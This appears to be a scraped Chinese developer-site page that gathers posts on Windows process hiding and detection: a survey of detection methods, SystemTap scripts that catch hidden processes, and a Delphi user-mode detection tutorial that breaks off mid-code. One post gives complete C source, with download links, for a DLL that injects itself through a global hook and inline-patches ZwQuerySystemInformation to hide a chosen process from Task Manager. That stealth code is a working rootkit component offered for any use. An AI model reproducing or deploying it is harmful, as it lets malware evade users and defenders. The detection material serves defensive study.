精华内容
下载资源
问答
  • 检测隐藏进程

    2020-01-17 14:24:49
    但是在实际应用中,该方法几乎无法检测到 Rootkit隐藏进程。 用户态可以通过CreateToolhelp32Snapshot,Process32First,Process32Next遍历进程。 或者通过通过psapi.dll提供的EnumProcesses来枚举进程。 也可以使用...

    1. 用 户 态 进 程 检 测 方 法
    该 方 法 利 用 WindowsAPI检测进程。但是在实际应用中,该方法几乎无法检测到 Rootkit隐藏进程。
    用户态可以通过CreateToolhelp32Snapshot,Process32FirstProcess32Next遍历进程。
    或者通过通过psapi.dll提供的EnumProcesses来枚举进程。
    也可以使用Native API 中的ZwQuerySystemInformation的SystemProcessesAndThreadsInformation系统调用枚举进程。

     

    2. 内核态函数进程检测方法
    该方法利用内 核导出函数 ZwQuerySystemInformation等检测进 程.但 是 该 方 法 无 法 检 测 到 对 ZwQuerySystemInformation的输出进行劫持或者对进程链表采取 断链操作的隐藏进程。

     

    3. 遍历 EPROCESS双向链表进程检测方法.
    进程由 EPROCESS结构体描述,EPROCESS通过 其成员 ActiveProcessLinks够成双向链表.该方法 通过遍历此链表检测进程.但是该方法无法检测到 对进程链表采取断链操作的隐藏进程。

     

    4. 遍历句柄表进程检测方法
    所有进程的句 柄保存在 PspCidTable句柄表里.同时,系统在创 建一个新进程时,会把新进程的句柄复制到csrss. exe进程的句柄表中.因此,该方法遍历这两份句柄 表中的任意一份即可检测进程.但是该方法无法检 测到对句柄表进行擦除操作的隐藏进程。

     

    5. 搜索内存进程检测方法
    该方法遍历虚拟 内存或物理内存数据,把匹配进程对象特征信息的 内存区域视为 EPROCESS结构,从而获取对应进 程信息.但是该方法无法检测到擦除内存中进程特 征信息的隐藏进程。

     

    6. 基于 HSC(Hook System Call)的进程检测方法
    该方法根据进程执行系统调用的行为特征,通过劫持系统调用,检测进程.但是该方法无法检测到只通过中断调用或 调用门进入系统内核的隐藏进程.

     

    7. 遍历调度线程表进程检测方法.系统为每 个处理器维护了不同状态的线程列表.该方法通过 遍历这些线程列表获得操作系统中的线程信息,进 而解析出进程信息.但是,在不同 Windows系统版 本中,线程列表存在较大差异,使得该方法兼容性 差,实现难度大.

     

    8. 基 于 线 程 调 度 的 进 程 检 测 方 法. SwapContext是线程调度的核心函数.该方法通过 劫持此函数获取将要被换入和换出的线程,进而解析出所属进程.但是该方法对操作系统性能影响较大,因为这个函数调用频率非常高。

     

    9. 基于交叉视图的进程检测方法
    为检测隐藏 进程,通常采用交叉视图的方法获取可靠进程列表 和非可靠 进 程 列 表,通 过 对 比 两 张 列 表 检 测 隐 藏 进程.
    其中非可靠进程列表可以通过用户态进程遍历得到。
    可靠进程列表可以在内核中劫持内核入口点,在劫持例程中获取EPROCESS结构列表,获取进程ID。
    内核入口点有:KiFastCallEntry,IDT,GDT
    为降低对操作系统性能的影响,并非劫持所有IDT 和 GDT 中的服务例 程,仅仅对异常中断服务例程和 GDT 中的调用门 进行劫持.

     

    参考链接:http://journal.bit.edu.cn/zr/ch/reader/create_pdf.aspx?file_no=20150521&year_id=2015&quarter_id=5&falg=1

    展开全文
  • 前面我介绍过很多隐藏进程的把戏,随后我对每一种把戏有针对性的给出了反制措施,可以翻看我2020/03~2020/08的文章,太多了,不再一一列举。 如今,我要介绍一种超级简单的手段,手艺人必备。 无论你是隐藏了进程,...

    前面我介绍过很多隐藏进程的把戏,随后我对每一种把戏有针对性的给出了反制措施,可以翻看我2020/03~2020/08的文章,太多了,不再一一列举。

    如今,我要介绍一种超级简单的手段,手艺人必备。

    无论你是隐藏了进程,还是隐藏了进程的CPU利用率,只要它在CPU上运行,在下面的脚本面前,任何隐藏手段终归徒劳:

    #!/usr/local/bin/stap
    
    global tbase
    global tdelta
    
    probe scheduler.cpu_on
    {
    	a = gettimeofday_us()
    	tbase[pid(), execname()] = a
    }
    
    probe scheduler.cpu_off
    {
    	t = tbase[pid(), execname()]
    	a = gettimeofday_us();
    	if (t != 0) {
    		delete tbase[pid(), execname()]
    		d = a - t
    		b = tdelta[pid(), execname()]
    		tdelta[pid(), execname()] = b + d
    	}
    }
    
    probe timer.ms($1)
    {
    	exit()
    }
    
    // 结束时将这段时间内所有运行进程的CPU累加时间按照降序打印。
    probe end
    {
    	foreach ([pid, name] in tdelta-) {
    		printf("%s[%d] = %d\n", name, pid, tdelta[pid, name])
    	}
    }
    

    是的,只要你的进程运行,总逃不过内核的调度,只要进程获得CPU就会打点采样,进程被切换下来时再次打点采样,二者做差就是该进程本次运行的时间,将这些时间累加起来就能获得任意进程占有CPU的时间。

    除非你的进程不在CPU上运行,不过不运行的进程又有啥用呢…

    来来来,看效果:

    [root@localhost test]# /root/loop &
    [1] 5814
    [root@localhost test]# /root/loop &
    [2] 5815
    [root@localhost test]#
    [root@localhost test]# ./times.stp 5000  # 采样5秒
    loop[5814] = 2492109
    loop[5815] = 2490044
    top[5919] = 1417
    kworker/0:1[31879] = 1218
    stapio[7125] = 1191
    xfsaild/dm-0[397] = 1028
    tuned[1003] = 744
    systemd-udevd[7126] = 397
    sshd[1384] = 174
    systemd-udevd[496] = 157
    rcuos/0[11] = 105
    systemd[1] = 105
    kworker/0:2[6831] = 82
    systemd-logind[645] = 62
    rcu_sched[10] = 43
    kworker/u2:2[285] = 7
    watchdog/0[12] = 7
    ksoftirqd/0[3] = 3
    [root@localhost test]#
    

    一抓一个准。

    来,现在基于上述原理干点正事儿。

    这回我们不再为了缉拿谁而编写脚本,这回我们假装为了优化调度器算法。

    我们要统计一下所有进程从排入就绪队列到实际运行的等待时间,用以排查是否有进程饥饿。

    #!/usr/local/bin/stap
    
    global tbase
    global tdelta
    
    probe kernel.function("activate_task")
    {
    	a = gettimeofday_us()
    	tbase[task_pid($p), task_execname($p)] = a
    }
    
    probe scheduler.cpu_on
    {
    	t = tbase[pid(), execname()]
    	a = gettimeofday_us();
    	if (t != 0) {
    		delete tbase[pid(), execname()]
    		d = a - t
    		b = tdelta[pid(), execname()]
    		tdelta[pid(), execname()] = b + d
    	}
    }
    
    probe timer.ms($1)
    {
    	exit()
    }
    
    probe end
    {
    	foreach ([pid, name] in tdelta-) {
    		printf("%s[%d] = %d\n", name, pid, tdelta[pid, name])
    	}
    }
    

    来来,看效果:

    [root@localhost test]# ./wtime.stp 5000
    stapio[7727] = 1034
    rcuos/0[11] = 747
    systemd-udevd[7728] = 244
    kworker/0:1[31879] = 236
    tuned[1003] = 159
    khungtaskd[24] = 80
    rcu_sched[10] = 64
    systemd-udevd[496] = 58
    khugepaged[27] = 20
    kworker/u2:2[285] = 20
    watchdog/0[12] = 18
    auditd[609] = 18
    kworker/0:0[7139] = 12
    [root@localhost test]#
    

    最后,值得注意的是, stap的操作开销巨大,二元健数组内部实现很复杂,且cpu_on/cpu_off是系统中绝对绝对绝对的热点热点热点路径! 以上手段仅仅用于发现系统异常,并非常规操作,应该严禁在生产环境长时间执行。

    当然,经理除外。


    浙江温州皮鞋湿,下雨进水不会胖。

    展开全文
  • 研究其他作者写的文章,也是hook ZwQuerySystemInformation 隐藏进程,可是我怎么测试都没有通过,不能隐藏进程,在网上也试了其他隐藏进程的代码,也不行。唉,那就只有自己动手啦~~~ 既然hook ...

    研究其他作者写的文章,也是hook ZwQuerySystemInformation 隐藏进程,可是我怎么测试都没有通过,不能隐藏进程,在网上也试了其他隐藏进程的代码,也不行。唉,那就只有自己动手啦~~~

    代码下载地址1:http://download.csdn.net/detail/aq782645210/6553317

    代码下载地址1:http://www.pudn.com/downloads586/sourcecode/windows/system/detail2400180.html

    既然hook ZwQuerySystemInformation 可以隐藏进程,我就拿它刀了。首先声明,本人只是业余编程者,代码不好看的地方请多包涵。

    经过反复测试,终于找到了关键处:

    while (TRUE)
    {
    if (pSystemProcesses->ProcessId==HidePid) //如果是我们需要隐藏的PID就进行数据修改
    {
    if (pSystemProcesses->NextEntryDelta)
    {
    //当我们需要隐藏的进程后面还有进程时
    //越过我们自己进程让NextEntryDelta直接指向下一个数据块
    DWORD dwOldProtect;
    //改成读写可执行状态
    if(!VirtualProtect((void *)Prev, sizeof(_SYSTEM_PROCESSES)*3, PAGE_EXECUTE_READWRITE, &dwOldProtect))
    {
    MyMessageBox(NULL,"VirtualProtect error!","error",MB_OK);
    return false;
    }
    Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
    VirtualProtect((void *)Prev, sizeof(_SYSTEM_PROCESSES)*3, dwOldProtect, 0);
    }
    else
    {
    //当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
    //这时系统在遍历我们进程时就不会发现了
    Prev->NextEntryDelta=0;
    }
    break;
    }
    if (!pSystemProcesses->NextEntryDelta) break;
    Prev=pSystemProcesses;
    pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
    }


    上面红色的是关键代码,原来代码中没有考虑内存保护问题,所以这样就轻松解决了。OK,上传一下测试结果

    hook 在进程管理器里的PID

    开启HOOK后,injectdll.exe从进程管理器里消失了



    附带测试程度:

    上面是一个7Z文件,下载下来自己试吧



    在原程序上,我又用了许多优化东西,编译出来的DLL只有几K,至于你们要干嘛,自己看着办吧


    由上关键代码:

    //常量和变量定义 
    
    
    #define  CodeLength 7
    
    
    //自定义APIHOOK结构   
    typedef struct   
    { 
    FARPROC NewFuncAddr;
    FARPROC OldFuncAddr;
    BYTE    OldCode[CodeLength];   
    BYTE    NewCode[CodeLength]; 
    } HOOKSTRUCT;   
    
    
    
    
    BYTE hook_code[7] =   {0xb8, 0, 0, 0, 0 ,0xff, 0xe0};//先把自已的函数地址传给eax,再jmp eax
    ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation; //ZwQuerySystemInformation函数声明
    HANDLE hProcess=0;
    CRITICAL_SECTION g_cs; //临界区,用于多线程进程
    HOOKSTRUCT zwqinfo; //ZwQuerySystemInformation Hook struct
    HINSTANCE  hntdll=NULL; //handle of ntdll
    HINSTANCE  huser32=NULL; //handle of user32
    HANDLE  hmain=NULL; //handle of this
    
    
    HHOOK g_hook=NULL; //HOOK钩子句柄
    
    
    
    
    //进程间共享数据,用于传递HidePid
    #pragma data_seg("flag_data")
    int HidePid=0xffffffff; //待隐藏的进程PID
    #pragma data_seg()
    #pragma comment(linker,"/SECTION:flag_data,RWS")
    
    
    
    
    //常用函数声明
    WINAPI printfEx(char *s, int count);
    BOOL WINAPI inlinehook(HOOKSTRUCT *hookfunc);
    //参数含义依次为,要HOOK API所在模块,目标API名,要改成的机器码,保存原机器码,机器码长度
    BOOL WINAPI uninlinehook(HOOKSTRUCT *hookfunc);
    //参数含义依次为,要HOOK API所在模块,目标API名,原机器码,机器码长度
    void init();
    bool WINAPI installHide(DWORD pid);
    bool WINAPI uninstallHide();
    //钩子回调函数
    LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) 
    { 
    //不需要处理什么,直接返回即可,只是为了注入
    return CallNextHookEx( g_hook, nCode, wParam, lParam );  
    } 
    //安装钩子
    bool WINAPI installHide(DWORD pid)
    {
    if (g_hook!=NULL)
    {
    uninstallHide();
    g_hook==NULL;
    }
    g_hook=SetWindowsHookEx(WH_GETMESSAGE,&KeyboardProc,(HINSTANCE)hmain,0);//全局Hook
    if (g_hook)
    {
    HidePid=pid;
    return true;
    }
    g_hook=NULL;
    return false;
    }
    //卸载钩子
    bool WINAPI uninstallHide()
    {
    if (g_hook)
    {
    UnhookWindowsHookEx(g_hook);
    g_hook=NULL;
    }
    return true;
    }
    
    
    typedef
    int
    (WINAPI*
    MYMESSAGEBOX)(
    HWND hWnd ,
    LPCSTR lpText,
    LPCSTR lpCaption,
        UINT uType);
    
    
    NTSTATUS
    NTAPI
    MyZwQuerySystemInformation(
      IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
      OUT PVOID SystemInformation,
      IN ULONG SystemInformationLength,
      OUT PULONG ReturnLength OPTIONAL
    );
    typedef 
    int
    (WINAPI*
    MESSAGEBOX)(
     HWND hWnd ,
     LPCSTR lpText,
     LPCSTR lpCaption,
     UINT uType);
    MESSAGEBOX MyMessageBox=NULL;
    void init()
    {
    InitializeCriticalSection(&g_cs);//开始要初始化
    hntdll=LoadLibrary("ntdll.dll");
    if (hntdll==NULL)
    {
    return;
    }
    huser32=LoadLibrary("user32.dll");
    MyMessageBox=(MESSAGEBOX)GetProcAddress(huser32,"MessageBox");
    ZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)GetProcAddress(hntdll,"ZwQuerySystemInformation");
    memset(zwqinfo.NewCode,0,CodeLength);
    memset(zwqinfo.OldCode,0,CodeLength);
    memcpy(zwqinfo.NewCode,hook_code,CodeLength);
    zwqinfo.NewFuncAddr=(FARPROC)MyZwQuerySystemInformation;
    zwqinfo.OldFuncAddr=(FARPROC)ZwQuerySystemInformation;
    *((ULONG*)(zwqinfo.NewCode+1))=(ULONG)MyZwQuerySystemInformation;
    inlinehook(&zwqinfo);
    }
    NTSTATUS
    NTAPI
    MyZwQuerySystemInformation(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    )
    {
    NTSTATUS ntStatus;
    PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
    uninlinehook(&zwqinfo);
    Sleep(1);
    ntStatus=((ZWQUERYSYSTEMINFORMATION)ZwQuerySystemInformation)(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);
    if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation)
    {
    pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
    if (HidePid==0xffffffff)
    {
    inlinehook(&zwqinfo);
    return ntStatus;
    }
    while (TRUE)
    {
    if (pSystemProcesses->ProcessId==HidePid) //如果是我们需要隐藏的PID就进行数据修改
    {
    if (pSystemProcesses->NextEntryDelta)
    {
    //当我们需要隐藏的进程后面还有进程时
    //越过我们自己进程让NextEntryDelta直接指向下一个数据块
    DWORD dwOldProtect;
    //改成读写可执行状态
    if(!VirtualProtect((void *)Prev, sizeof(_SYSTEM_PROCESSES)*3, PAGE_EXECUTE_READWRITE, &dwOldProtect))
    {
    MyMessageBox(NULL,"VirtualProtect error!","error",MB_OK);
    return false;
    }
    Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
    VirtualProtect((void *)Prev, sizeof(_SYSTEM_PROCESSES)*3, dwOldProtect, 0);
    }
    else
    {
    //当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
    //这时系统在遍历我们进程时就不会发现了
    Prev->NextEntryDelta=0;
    }
    break;
    }
    if (!pSystemProcesses->NextEntryDelta) break;
    Prev=pSystemProcesses;
    pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
    }
    }
    inlinehook(&zwqinfo);
    return ntStatus;
    }
    
    
    BOOL WINAPI inlinehook(HOOKSTRUCT *hookfunc)
    {
    EnterCriticalSection(&g_cs);//进入临界区
    DWORD dwOldProtect;
    //改成读写可执行状态
    if(!VirtualProtect((void *)hookfunc->OldFuncAddr, CodeLength, PAGE_EXECUTE_READWRITE, &dwOldProtect))
    {
    MyMessageBox(NULL,"VirtualProtect error!","error",MB_OK);
    return false;
    }
    //保存原机器码
    memcpy(hookfunc->OldCode,(unsigned char *)hookfunc->OldFuncAddr,CodeLength);
    if(memcpy((unsigned char *)hookfunc->OldFuncAddr, hookfunc->NewCode, CodeLength)==0)
    {
    MyMessageBox(NULL,"write error!","error",MB_OK);
    return false;
    }
    VirtualProtect((void *)hookfunc->OldFuncAddr, CodeLength, dwOldProtect, 0);
    LeaveCriticalSection(&g_cs);//退出临界区
    return true;
    }
    BOOL WINAPI uninlinehook(HOOKSTRUCT *hookfunc)
    {
    EnterCriticalSection(&g_cs);//进入临界区
    DWORD dwOldProtect;
    if(!VirtualProtect((void *)hookfunc->OldFuncAddr, CodeLength, PAGE_EXECUTE_READWRITE, &dwOldProtect))
    {
    MyMessageBox(NULL,"VirtualProtect error!","error",MB_OK);
    return false;
    }
    //改回原机器码
    if(memcpy((unsigned char *)hookfunc->OldFuncAddr, hookfunc->OldCode, CodeLength)==0)
    {
    // printf("write failed\n");
    MyMessageBox(NULL,"write error!","error",MB_OK);
    return false;
    }
    VirtualProtect((void *)hookfunc->OldFuncAddr, CodeLength, dwOldProtect, 0);
    LeaveCriticalSection(&g_cs);//退出临界区
    return true;
    }
    
    
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
    )
    {
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    hmain=hModule;
    init();
    break;
    case DLL_PROCESS_DETACH:
    uninstallHide();
    uninlinehook(&zwqinfo);
    DeleteCriticalSection(&g_cs);
    HidePid=-1;
    FreeLibrary(hntdll);
    hntdll=NULL;
    break;
    }
        return TRUE;
    }



    代码下载地址1:http://download.csdn.net/detail/aq782645210/6553317

    代码下载地址1:http://www.pudn.com/downloads586/sourcecode/windows/system/detail2400180.html

    展开全文
  • 隐藏进程检测

    千次阅读 2009-11-17 21:06:00
    隐藏进程检测User Mode下的隐藏进程检测我们先来看一些简单的方法,这些方法可以用在ring3下,用不着驱动。检测的原理是每一个进程活动时都会暴露一些痕迹,可以通过这些痕迹检测到它们。这些痕迹包括打开的句柄、...

     隐藏进程检测


    User Mode下的隐藏进程检测

    我们先来看一些简单的方法,这些方法可以用在ring3下,用不着驱动。检测的原理是每一个进程活动时都会暴露一些痕迹,可以通过这些痕迹检测到它们。这些痕迹包括打开的句柄、窗口和创建的系统对象。针对类似的检测方法来实现进程隐藏并不困难,但需要考虑进程工作时可能暴露出的所有迹象。目前还没有一个公开的rootkit做到了这一点(遗憾的是私有版本我也还没见到)。用户模式下的方法实现简单、使用安全,而且效果良好,所以不应轻视它们的作用。

    首先先来定义由搜索函数所返回的数据的格式,我们使用一个链表:

    type
     PProcList = ^TProcList;
     TProcList = packed record
       NextItem: pointer;
       ProcName: array [0..MAX_PATH] of Char;
       ProcId: dword;
       ParrentId: dword;
     end;


    使用ToolHelp API获取进程列表

    我们先来定义获取进程列表的函数,我们将使用此函数的结果来与用其它方法取得的进程列表做比较:

    {
     使用ToolHelp API获取进程列表.
    }
    procedure GetToolHelpProcessList(var List: PListStruct);
    var
     Snap: dword;
     Process: TPROCESSENTRY32;
     NewItem: PProcessRecord;
    begin
      Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if Snap <> INVALID_HANDLE_VALUE then
         begin
          Process.dwSize := SizeOf(TPROCESSENTRY32);
          if Process32First(Snap, Process) then
             repeat
              GetMem(NewItem, SizeOf(TProcessRecord));
              ZeroMemory(NewItem, SizeOf(TProcessRecord));
              NewItem^.ProcessId  := Process.th32ProcessID;
              NewItem^.ParrentPID := Process.th32ParentProcessID;
              lstrcpy(@NewItem^.ProcessName, Process.szExeFile);
              AddItem(List, NewItem);
             until not Process32Next(Snap, Process);
          CloseHandle(Snap);
         end;
    end;
    很显然,在这个列表中是不会找到隐藏进程的,所以可以用这个函数来区分隐藏进程和非隐藏进程。


    使用Native API获取进程列表

    下一级的检测是用ZwQuerySystemInformation (Native API)来获取进程列表。在这一级也未必能找到什么,但毕竟检查一下还是值得的。

    {
      使用ZwQuerySystemInformation获取进程列表.
    }
    procedure GetNativeProcessList(var List: PListStruct);
    var
     Info: PSYSTEM_PROCESSES;
     NewItem: PProcessRecord;
     Mem: pointer;
    begin
      Info := GetInfoTable(SystemProcessesAndThreadsInformation);
      Mem := Info;
      if Info = nil then Exit;
      repeat
       GetMem(NewItem, SizeOf(TProcessRecord));
       ZeroMemory(NewItem, SizeOf(TProcessRecord));
       lstrcpy(@NewItem^.ProcessName,
               PChar(WideCharToString(Info^.ProcessName.Buffer)));
       NewItem^.ProcessId  := Info^.ProcessId;
       NewItem^.ParrentPID := Info^.InheritedFromProcessId;
       AddItem(List, NewItem);
       Info := pointer(dword(info) + info^.NextEntryDelta);
      until Info^.NextEntryDelta = 0;
      VirtualFree(Mem, 0, MEM_RELEASE);
    end;


    通过打开句柄的句柄表来获取进程列表

    许多进程隐藏程序,并不隐藏打开的句柄,所以我们可以使用ZwQuerySystemInformation来建立进程列表。

    {
      通过打开句柄的句柄表来获取进程列表.
      只返回ProcessId.
    }
    procedure GetHandlesProcessList(var List: PListStruct);
    var
     Info: PSYSTEM_HANDLE_INFORMATION_EX;
     NewItem: PProcessRecord;
     r: dword;
     OldPid: dword;
    begin
      OldPid := 0;
      Info := GetInfoTable(SystemHandleInformation);
      if Info = nil then Exit;
      for r := 0 to Info^.NumberOfHandles do
        if Info^.Information[r].ProcessId <> OldPid then
         begin
           OldPid := Info^.Information[r].ProcessId;
           GetMem(NewItem, SizeOf(TProcessRecord));
           ZeroMemory(NewItem, SizeOf(TProcessRecord));
           NewItem^.ProcessId   := OldPid;
           AddItem(List, NewItem);
         end;
      VirtualFree(Info, 0, MEM_RELEASE);
    end;

    到这一层已经可以检测到某些东西了,但是其结果依然不能完全信赖,因为隐藏进程打开的句柄一点也不比隐藏进程难,只不过是很多人忘了这一手而已。


    通过进程打开的窗口获取进程列表

    获取系统中注册的窗口并对每一个窗口调用GetWindowThreadProcessId可以建立拥有窗口的进程的列表。

    {
      通过进程打开的窗口获取进程列表.
      只返回ProcessId.
    }
    procedure GetWindowsProcessList(var List: PListStruct);

     function EnumWindowsProc(hwnd: dword; PList: PPListStruct): bool; stdcall;
     var
      ProcId: dword;
      NewItem: PProcessRecord;
     begin
      GetWindowThreadProcessId(hwnd, ProcId);
       if not IsPidAdded(PList^, ProcId) then
        begin
         GetMem(NewItem, SizeOf(TProcessRecord));
         ZeroMemory(NewItem, SizeOf(TProcessRecord));
         NewItem^.ProcessId   := ProcId;
         AddItem(PList^, NewItem);
      end;
      Result := true;
     end;

    begin
     EnumWindows(@EnumWindowsProc, dword(@List));
    end;

    几乎没有人会去隐藏窗口,所以用这种方法也可以找到点什么,但是也不能完全信赖。


    直接使用系统调用获取进程列表

    在User Mode下隐藏进程的常用办法是将自己的代码注入到其它的进程并截获ntdll.dll中的ZwQuerySystemInformation。ntdll函数实际上是相应内核系统函数的入口,并通过系统调用接口跳转(Windows 2000下的Int 2Eh或是XP下的sysenter),所以检测隐藏进程的最简单有效的办法就是直接使用系统调用接口。

    ZwQuerySystemInformation的替代函数在Windows XP下形式如下:

    {
     Windows XP的系统调用ZwQuerySystemInformation.
    }
    Function XpZwQuerySystemInfoCall(ASystemInformationClass: dword;
                                     ASystemInformation: Pointer;
                                     ASystemInformationLength: dword;
                                     AReturnLength: pdword): dword; stdcall;
    asm
     pop ebp
     mov eax, $AD
     call @SystemCall
     ret $10
     @SystemCall:
     mov edx, esp
     sysenter
    end;

    Windows 2000使用另一种系统调用接口,函数代码是另一种样子。

    {
      Windows 2000的系统调用ZwQuerySystemInformation.
    }
    Function Win2kZwQuerySystemInfoCall(ASystemInformationClass: dword;
                                        ASystemInformation: Pointer;
                                        ASystemInformationLength: dword;
                                        AReturnLength: pdword): dword; stdcall;
    asm
     pop ebp
     mov eax, $97
     lea edx, [esp + $04]
     int $2E
     ret $10
    end;

    现在就不用再用ntdll.dll中的函数枚举进程了,只用我们定义的函数就行了。这里是其代码:

    {
      使用系统调用ZwQuerySystemInformation获取进程列表.
    }
    procedure GetSyscallProcessList(var List: PListStruct);
    var
     Info: PSYSTEM_PROCESSES;
     NewItem: PProcessRecord;
     mPtr: pointer;
     mSize: dword;
     St: NTStatus;
    begin
     mSize := $4000;
     repeat
      GetMem(mPtr, mSize);
      St := ZwQuerySystemInfoCall(SystemProcessesAndThreadsInformation,
                                  mPtr, mSize, nil);
      if St = STATUS_INFO_LENGTH_MISMATCH then
        begin
          FreeMem(mPtr);
          mSize := mSize * 2;
        end;
     until St <> STATUS_INFO_LENGTH_MISMATCH;
     if St = STATUS_SUCCESS then
      begin
        Info := mPtr;
        repeat
         GetMem(NewItem, SizeOf(TProcessRecord));
         ZeroMemory(NewItem, SizeOf(TProcessRecord));
         lstrcpy(@NewItem^.ProcessName,
                 PChar(WideCharToString(Info^.ProcessName.Buffer)));
         NewItem^.ProcessId  := Info^.ProcessId;
         NewItem^.ParrentPID := Info^.InheritedFromProcessId;
         Info := pointer(dword(info) + info^.NextEntryDelta);
         AddItem(List, NewItem);
        until Info^.NextEntryDelta = 0;
      end;
     FreeMem(mPtr);
    end;

    这种方法100%能检测到用户模式下的rootkit,比如所有的版本hxdef都能检测到。


    分析进程相关句柄获取进程列表

    我们还有一种办法,就是枚举句柄。。这些句柄可能是进程自己的,也有可能是其线程的。在取得进程句柄后,可以用ZwQueryInformationProcess确定其PID。对于线程,可以调用ZwQueryInformationThread并得到其进程的ID。系统中所有的进程都是由某个进程启动的,所以它们的父进程就会有它们的句柄(如果没有关闭的话),而且所有运行中进程的句柄在Win32子系统服务器(csrss.exe)中也有。再有,在Windows NT中有许多Job对象,这些Job对象将一些进程(比如某一用户拥有的所有进程或是某一服务拥有的所有进程)结合在一起,所以在找Job对象的句柄时,我们还需要取得Job中所有进程的ID,这一点不能忽视。取得这些进程的ID可以通过使用信息类JobObjectBasicProcessIdList调用QueryInformationJobObject来完成。全部代码形式如下:

    {
     检查其它进程中的句柄来获取进程列表
    }
    procedure GetProcessesFromHandles(var List: PListStruct; Processes, Jobs, Threads: boolean);
    var
     HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
     ProcessInfo: PROCESS_BASIC_INFORMATION;
     hProcess : dword;
     tHandle: dword;
     r, l     : integer;
     NewItem: PProcessRecord;
     Info: PJOBOBJECT_BASIC_PROCESS_ID_LIST;
     Size: dword;
     THRInfo: THREAD_BASIC_INFORMATION;
    begin
     HandlesInfo := GetInfoTable(SystemHandleInformation);
     if HandlesInfo <> nil then
     for r := 0 to HandlesInfo^.NumberOfHandles do
       if HandlesInfo^.Information[r].ObjectTypeNumber in [OB_TYPE_PROCESS, OB_TYPE_JOB, OB_TYPE_THREAD] then
        begin
          hProcess  := OpenProcess(PROCESS_DUP_HANDLE, false,
                                   HandlesInfo^.Information[r].ProcessId);
                                   
          if DuplicateHandle(hProcess, HandlesInfo^.Information[r].Handle,
                             INVALID_HANDLE_VALUE, @tHandle, 0, false,
                             DUPLICATE_SAME_ACCESS) then
                begin
                 case HandlesInfo^.Information[r].ObjectTypeNumber of
                   OB_TYPE_PROCESS : begin
                         if Processes and (HandlesInfo^.Information[r].ProcessId = CsrPid) then
                         if ZwQueryInformationProcess(tHandle, ProcessBasicInformation,
                                                @ProcessInfo,
                                                SizeOf(PROCESS_BASIC_INFORMATION),
                                                nil) = STATUS_SUCCESS then
                         if not IsPidAdded(List, ProcessInfo.UniqueProcessId) then
                            begin
                            GetMem(NewItem, SizeOf(TProcessRecord));
                            ZeroMemory(NewItem, SizeOf(TProcessRecord));
                            NewItem^.ProcessId   := ProcessInfo.UniqueProcessId;
                            NewItem^.ParrentPID  := ProcessInfo.InheritedFromUniqueProcessId;
                            AddItem(List, NewItem);
                            end;
                         end;

                   OB_TYPE_JOB     : begin
                                      if Jobs then
                                       begin
                                        Size := SizeOf(JOBOBJECT_BASIC_PROCESS_ID_LIST) + 4 * 1000;
                                        GetMem(Info, Size);
                                        Info^.NumberOfAssignedProcesses := 1000;
                                        if QueryInformationJobObject(tHandle, JobObjectBasicProcessIdList,
                                                                     Info, Size, nil) then
                                           for l := 0 to Info^.NumberOfProcessIdsInList - 1 do
                                             if not IsPidAdded(List, Info^.ProcessIdList[l]) then
                                               begin
                                                GetMem(NewItem, SizeOf(TProcessRecord));
                                                ZeroMemory(NewItem, SizeOf(TProcessRecord));
                                                NewItem^.ProcessId   := Info^.ProcessIdList[l];
                                                AddItem(List, NewItem);
                                               end;
                                        FreeMem(Info);
                                       end;
                                      end;

                   OB_TYPE_THREAD  : begin
                                      if Threads then
                                      if ZwQueryInformationThread(tHandle, THREAD_BASIC_INFO,
                                                                  @THRInfo,
                                                                  SizeOf(THREAD_BASIC_INFORMATION),
                                                                  nil) = STATUS_SUCCESS then
                                        if not IsPidAdded(List, THRInfo.ClientId.UniqueProcess) then
                                         begin
                                           GetMem(NewItem, SizeOf(TProcessRecord));
                                           ZeroMemory(NewItem, SizeOf(TProcessRecord));
                                           NewItem^.ProcessId   := THRInfo.ClientId.UniqueProcess;
                                           AddItem(List, NewItem);
                                         end;
                                     end;

                 end;
                 CloseHandle(tHandle);
                end;
              CloseHandle(hProcess);
            end;
     VirtualFree(HandlesInfo, 0, MEM_RELEASE);
    end;

    遗憾的是,前面的某些方法只能确定ProcessId,而不能确定进程的名字。所以,我们需要通过pid来取得进程名。对此显然不能用ToolHelp API来做,因为进程可能是隐藏的,所以我们要打开进程的内存并从其PEB中读取其名字。PEB在进程中的地址可以用ZwQueryInformationProcess函数来确定。下面是代码:

    function GetNameByPid(Pid: dword): string;
    var
     hProcess, Bytes: dword;
     Info: PROCESS_BASIC_INFORMATION;
     ProcessParametres: pointer;
     ImagePath: TUnicodeString;
     ImgPath: array[0..MAX_PATH] of WideChar;
    begin
     Result := '';
     ZeroMemory(@ImgPath, MAX_PATH * SizeOf(WideChar));
     hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false, Pid);
     if ZwQueryInformationProcess(hProcess, ProcessBasicInformation, @Info,
                                  SizeOf(PROCESS_BASIC_INFORMATION), nil) = STATUS_SUCCESS then
      begin
       if ReadProcessMemory(hProcess, pointer(dword(Info.PebBaseAddress) + $10),
                            @ProcessParametres, SizeOf(pointer), Bytes) and
          ReadProcessMemory(hProcess, pointer(dword(ProcessParametres) + $38),
                            @ImagePath, SizeOf(TUnicodeString), Bytes)  and
